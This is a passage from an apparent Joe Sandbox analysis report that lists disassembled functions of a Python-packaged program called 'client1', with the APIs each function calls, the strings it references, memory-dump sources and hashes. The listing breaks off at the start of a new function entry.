Instruction Fuzzy Hash: C741A3D0A0E643E0FA169F36D66457B9B9AAF44FC0F1060B6CD0D67B96DE6CE4438321

Function 00007FF79F63C108 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF79F63C21F
GetLastError.KERNEL32 ref: 00007FF79F63C241

Strings

U, xrefs: 00007FF79F63C1CB

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 4134df34369bde334de186fcdf44a7df93ab1702ff4cc21259579c47d67cfea1
Instruction ID: d8288a821d60d807d24e101a889977289f27ecd64d153d6bd9ca5533d84db7b9
Opcode Fuzzy Hash: 4134df34369bde334de186fcdf44a7df93ab1702ff4cc21259579c47d67cfea1
Instruction Fuzzy Hash: 6941BF22A18B8186EB30AF65E8443E9B7AAFB88794F804131EE5D87798DF7CD441C750

Function 00007FFBAA707B3C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

PyMem_Free.PYTHON311 ref: 00007FFBAA707C31
PyMem_Free.PYTHON311 ref: 00007FFBAA707C44

Strings

0, xrefs: 00007FFBAA707B82

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: FreeMem_
String ID: 0
API String ID: 4096353137-4108050209
Opcode ID: f22c52d47cb846a99d8516e9592497de04618e9629921033cbc4078d7013c5f0
Instruction ID: 37fc3ae25e8115673c7bbc5a6a23ea9830848b53a9daa0cc5fd778de02d78427
Opcode Fuzzy Hash: f22c52d47cb846a99d8516e9592497de04618e9629921033cbc4078d7013c5f0
Instruction Fuzzy Hash: DF3191B3A19BC5CAE7128F35E8513AEA764F789784F005125EECD12A59DF7CD186CB00

Function 00007FF79F63E508 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF79F63E548
GetCurrentDirectoryW.KERNEL32 ref: 00007FF79F63E59A

Strings

:, xrefs: 00007FF79F63E55E

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: 89ffee479c464830a404f371819462673addff3e4a0adbddceaf6599ad198d2e
Instruction ID: a1c1ac3e35cef5dca5b2dffa328874262bdb24a07ee44c6fa033a46e3c123853
Opcode Fuzzy Hash: 89ffee479c464830a404f371819462673addff3e4a0adbddceaf6599ad198d2e
Instruction Fuzzy Hash: CC21E362A087C281EB30AB21D4542ADB3BBFB94B84FC54035C6AC43284DFBDE5498771

Function 00007FFBAA6F5B90 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

PyMem_Free.PYTHON311 ref: 00007FFBAA6F5C73
PyMem_Free.PYTHON311 ref: 00007FFBAA6F5C86

Strings

0, xrefs: 00007FFBAA6F5BDF

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: FreeMem_
String ID: 0
API String ID: 4096353137-4108050209
Opcode ID: d571f0cc72055e077ceb28729aec96d86d77c2e813d1e087a2f476782c23c19f
Instruction ID: 61a63859e4cbb3b7fa3bf7d2af84b68eb41bfe5a7c2d48ba76c2dbfba58c52a3
Opcode Fuzzy Hash: d571f0cc72055e077ceb28729aec96d86d77c2e813d1e087a2f476782c23c19f
Instruction Fuzzy Hash: 8E219FB2A197818AE7128F35E8113EE6764FB89B88F501175EE8D17B59DF3CD14ACB00

Function 00007FF79F622880 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79F627A30: MultiByteToWideChar.KERNEL32 ref: 00007FF79F627A6A

MessageBoxW.USER32 ref: 00007FF79F622951
MessageBoxA.USER32 ref: 00007FF79F62296D

Strings

Error detected, xrefs: 00007FF79F622925, 00007FF79F62295F

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Error detected
API String ID: 1878133881-3513342764
Opcode ID: 412921116a21d042ea7cc01f3b6226aa372ad23cfa1aaecee88db1efd33321aa
Instruction ID: 05cd645ff5f888422db5e4e7115e06dcb47c015c2c7129efa72a60483e0df11d
Opcode Fuzzy Hash: 412921116a21d042ea7cc01f3b6226aa372ad23cfa1aaecee88db1efd33321aa
Instruction Fuzzy Hash: 792153726287C291FA30AB20F4517EAA359FB84788FC05135EA9D47A95DF3CD205C751

Function 00007FF79F622770 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79F627A30: MultiByteToWideChar.KERNEL32 ref: 00007FF79F627A6A

MessageBoxW.USER32 ref: 00007FF79F622841
MessageBoxA.USER32 ref: 00007FF79F62285D

Strings

Fatal error detected, xrefs: 00007FF79F622815, 00007FF79F62284F

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Fatal error detected
API String ID: 1878133881-4025702859
Opcode ID: f7448773671dbda672e22a82cfe80c2e0aa70ed18289780b2b9e604a2b102c49
Instruction ID: 79b571e26da2bfd48c070471a7e58d0411b39622869149dfb16ba3604a0de879
Opcode Fuzzy Hash: f7448773671dbda672e22a82cfe80c2e0aa70ed18289780b2b9e604a2b102c49
Instruction Fuzzy Hash: 3C21B5726287C291EB30BB20F8517EAA359FB84788FC00135E69D47A95DF3CD205C751

Function 00007FFBAA709920 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PyUnicode_Compare.PYTHON311 ref: 00007FFBAA709976
PyErr_SetString.PYTHON311 ref: 00007FFBAA70999C

Strings

valid values for rounding are: [ROUND_CEILING, ROUND_FLOOR, ROUND_UP, ROUND_DOWN, ROUND_HALF_UP, ROUND_HALF_DOWN, ROUND_HALF_EVEN, ROUND_05UP], xrefs: 00007FFBAA709992

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: CompareErr_StringUnicode_
String ID: valid values for rounding are: [ROUND_CEILING, ROUND_FLOOR, ROUND_UP, ROUND_DOWN, ROUND_HALF_UP, ROUND_HALF_DOWN, ROUND_HALF_EVEN, ROUND_05UP]
API String ID: 643742939-1015891402
Opcode ID: 3a85d9e1c53251d2d086d4e1452605908b77564e48832262553d256ca4bda505
Instruction ID: 56a934146c796bd700d179f01e826c3b81d6acb2e8e6affdcfcc0365bd522fea
Opcode Fuzzy Hash: 3a85d9e1c53251d2d086d4e1452605908b77564e48832262553d256ca4bda505
Instruction Fuzzy Hash: 8E1173A1B1AA42D1E611CF25E84006B7768FBC4B91F184171DD8E53768CF3ED847C750

Function 00007FF79F62EFB0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF79F62EFF4
RaiseException.KERNEL32 ref: 00007FF79F62F03A

Strings

csm, xrefs: 00007FF79F62F027

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: a9ac3328ea6075577af066dd04772514ea360050604432a87b0551bd96b2ca6b
Instruction ID: 9d94cc3acb5f3c85cba13d30bb3129c537d7161fd2bf0c3510a608b2a8661950
Opcode Fuzzy Hash: a9ac3328ea6075577af066dd04772514ea360050604432a87b0551bd96b2ca6b
Instruction Fuzzy Hash: 6B115432618B8182EB219F25F5402D9B7A9FB88B94F584234EF9C47754DF3DD551C710

Function 00007FFBAB498900 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

PyType_IsSubtype.PYTHON311 ref: 00007FFBAB49893B

Part of subcall function 00007FFBAB4936A0: PyErr_Format.PYTHON311 ref: 00007FFBAB4936D4

Part of subcall function 00007FFBAB493710: PyThreadState_Get.PYTHON311 ref: 00007FFBAB493732
Part of subcall function 00007FFBAB493710: PyErr_Fetch.PYTHON311 ref: 00007FFBAB49374A
Part of subcall function 00007FFBAB493710: PyCode_NewEmpty.PYTHON311 ref: 00007FFBAB49375D
Part of subcall function 00007FFBAB493710: PyFrame_New.PYTHON311 ref: 00007FFBAB493777
Part of subcall function 00007FFBAB493710: _Py_Dealloc.PYTHON311 ref: 00007FFBAB49378E
Part of subcall function 00007FFBAB493710: _PyErr_ChainExceptions.PYTHON311 ref: 00007FFBAB4937A3

Strings

charset_normalizer.md.MessDetectorPlugin, xrefs: 00007FFBAB498948
reset, xrefs: 00007FFBAB49895B

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Err_$ChainCode_DeallocEmptyExceptionsFetchFormatFrame_State_SubtypeThreadType_
String ID: charset_normalizer.md.MessDetectorPlugin$reset
API String ID: 1820948682-4122180197
Opcode ID: e74373900b7c84a88a11a969e50a50432fe1c9e43874778d362feb55dab9bba0
Instruction ID: 92d8e7da7829a3601ac525494456d94064c5d82c08aced0b4ef5afe837435fb7
Opcode Fuzzy Hash: e74373900b7c84a88a11a969e50a50432fe1c9e43874778d362feb55dab9bba0
Instruction Fuzzy Hash: 7D014BE0F4A50780FE569BBBE8811B917A5AF59BC0F44C436DC3D8B3B2DE2CE5918211

Function 00007FFBAA706C8C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFBAA706EB8: PyTuple_Size.PYTHON311 ref: 00007FFBAA706EEC
Part of subcall function 00007FFBAA706EB8: PyLong_AsLong.PYTHON311 ref: 00007FFBAA706F17
Part of subcall function 00007FFBAA706EB8: PyLong_AsSsize_t.PYTHON311 ref: 00007FFBAA706F68
Part of subcall function 00007FFBAA706EB8: PyTuple_Size.PYTHON311 ref: 00007FFBAA706FA8
Part of subcall function 00007FFBAA706EB8: PyMem_Malloc.PYTHON311 ref: 00007FFBAA706FB8
Part of subcall function 00007FFBAA706EB8: PyLong_AsLong.PYTHON311 ref: 00007FFBAA707022

PyMem_Free.PYTHON311(?,?,?,00007FFBAA706795), ref: 00007FFBAA706CE6
_Py_Dealloc.PYTHON311(?,?,?,00007FFBAA706795), ref: 00007FFBAA706D06

Strings

argument must be a tuple or list, xrefs: 00007FFBAA706CA8

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Long_$LongMem_SizeTuple_$DeallocFreeMallocSsize_t
String ID: argument must be a tuple or list
API String ID: 687260090-986076822
Opcode ID: 684bd140da40fb6bb725d4fb9f439ad82f2867d5e4afc151041550d49d268306
Instruction ID: ed53cd0ccb7678d2e731ae328038f0637fea2eddf22247db992215736e14586e
Opcode Fuzzy Hash: 684bd140da40fb6bb725d4fb9f439ad82f2867d5e4afc151041550d49d268306
Instruction Fuzzy Hash: 6201A7A1B0AB42D0EE069F32E52447BA6A9EF04FC0F0840B5DD1D17765DE7CE4438320

Function 00007FF79F63F00C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F63F03C
GetDriveTypeW.KERNEL32 ref: 00007FF79F63F07C

Strings

:, xrefs: 00007FF79F63F065

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: f8eec6a66f3a594e824ddea09938586a7cad5545a492e04bdbecb8d953b03adc
Instruction ID: f6a196918b46ec67a83ca2aae2117e4ea2a4506a7808c67bb6a2d9dc34037f39
Opcode Fuzzy Hash: f8eec6a66f3a594e824ddea09938586a7cad5545a492e04bdbecb8d953b03adc
Instruction Fuzzy Hash: 2601D42292C38286FB35BF74A8612FEA3A9EF44708FC41135D56C82285DF6CE544DA24

Function 00007FFBAA734C08 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311 ref: 00007FFBAA734C58
PyUnicode_FromString.PYTHON311 ref: 00007FFBAA734C6F

Strings

no such name, xrefs: 00007FFBAA734C4E

Memory Dump Source

Source File: 00000002.00000002.2693290777.00007FFBAA731000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFBAA730000, based on PE: true

Associated: 00000002.00000002.2693275344.00007FFBAA730000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA735000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA792000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7DE000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E1000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E6000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA840000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693474597.00007FFBAA843000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693491810.00007FFBAA845000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa730000_client1.jbxd

Similarity

API ID: String$Err_FromUnicode_
String ID: no such name
API String ID: 3678473424-4211486178
Opcode ID: 0bad81046192c5090e63041fc1c0adfcc3ec090d4373e4d8dfd61f48ff6f657e
Instruction ID: 8d0078e0cee045c82fe73d151d714c72f7907bfd586309b7d08ac67750d6ddc2
Opcode Fuzzy Hash: 0bad81046192c5090e63041fc1c0adfcc3ec090d4373e4d8dfd61f48ff6f657e
Instruction Fuzzy Hash: 080181B1B1AA46D6FA62AF31E8543B72368FF98B45F4100B1DF4E46754DF2CE1068630

Function 00007FFBAA70F310 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

PyObject_GetAttrString.PYTHON311(?,?,?,00007FFBAA70032D), ref: 00007FFBAA70F324

Part of subcall function 00007FFBAA6FE060: _PyObject_New.PYTHON311 ref: 00007FFBAA6FE0E4

_Py_Dealloc.PYTHON311(?,?,?,00007FFBAA70032D), ref: 00007FFBAA716BED

Strings

numerator, xrefs: 00007FFBAA70F31D

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Object_$AttrDeallocString
String ID: numerator
API String ID: 1614008757-727639709
Opcode ID: 664a8b7548da97a9f2b5951361a89b3c0fefd4217b97b667dadd7fb88e5588c0
Instruction ID: 15594ea9c9f416fb4eb74f0bc11d1892bd108271b5d897f5c12926ef9892e346
Opcode Fuzzy Hash: 664a8b7548da97a9f2b5951361a89b3c0fefd4217b97b667dadd7fb88e5588c0
Instruction Fuzzy Hash: 87F082D1A0F742D0EE169F36E9540BAAADD9F48FD0B1C5071CD1D067A5DD2CE1878320

Function 00007FFBAB496EA0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311 ref: 00007FFBAB496EBA

Strings

'SuperWeirdWordPlugin' object attribute '_is_current_word_bad' cannot be deleted, xrefs: 00007FFBAB496EB0
bool, xrefs: 00007FFBAB496ED7

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Err_String
String ID: 'SuperWeirdWordPlugin' object attribute '_is_current_word_bad' cannot be deleted$bool
API String ID: 1450464846-604167972
Opcode ID: 4c20456b68d317d2c4cbca0898148b87029a092011c9c4153aace44cb894d61d
Instruction ID: fb2a361444706ce6de67299202a3caa9d883ae6db792dfcc49ee55cf593815a3
Opcode Fuzzy Hash: 4c20456b68d317d2c4cbca0898148b87029a092011c9c4153aace44cb894d61d
Instruction Fuzzy Hash: 3AF0FEF5F1B90695EE06DB3AD9950382660BB94764F94C635DD3C462F0EF2CD55A8300

Function 00007FFBAB496F30 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311 ref: 00007FFBAB496F4A

Strings

'SuperWeirdWordPlugin' object attribute '_foreign_long_watch' cannot be deleted, xrefs: 00007FFBAB496F40
bool, xrefs: 00007FFBAB496F67

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Err_String
String ID: 'SuperWeirdWordPlugin' object attribute '_foreign_long_watch' cannot be deleted$bool
API String ID: 1450464846-232606992
Opcode ID: b5cec1f117394d39fc31ee6f1dd59354be8a79629f02482bb79c64e661aa26c1
Instruction ID: b5f6108eaf68be91df148414c618c1482f59e2a73841ecc2ad85364cee072a49
Opcode Fuzzy Hash: b5cec1f117394d39fc31ee6f1dd59354be8a79629f02482bb79c64e661aa26c1
Instruction Fuzzy Hash: 12F0DAE5E1A90681EA069B3AD9910386661BB94764FD48636DD3C462B0EE2CD9668300

Function 00007FFBAB497C40 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311 ref: 00007FFBAB497C5A

Strings

'ArchaicUpperLowerPlugin' object attribute '_buf' cannot be deleted, xrefs: 00007FFBAB497C50
bool, xrefs: 00007FFBAB497C77

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Err_String
String ID: 'ArchaicUpperLowerPlugin' object attribute '_buf' cannot be deleted$bool
API String ID: 1450464846-2595685569
Opcode ID: 736c2d593c1c46f3a8f69d3afae860479ba1fab34284d6c75ca516f4fa25d373
Instruction ID: be380760e8aa529cf107eb014bb3be7ea2e48523fe9f7e544e9ecfd6895e11d7
Opcode Fuzzy Hash: 736c2d593c1c46f3a8f69d3afae860479ba1fab34284d6c75ca516f4fa25d373
Instruction Fuzzy Hash: FAF0FEE5E0B90681ED06DB3AD8D50782660BBA8760F94C635DD3D463F1EF1CD9968300

Function 00007FFBAA7325B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

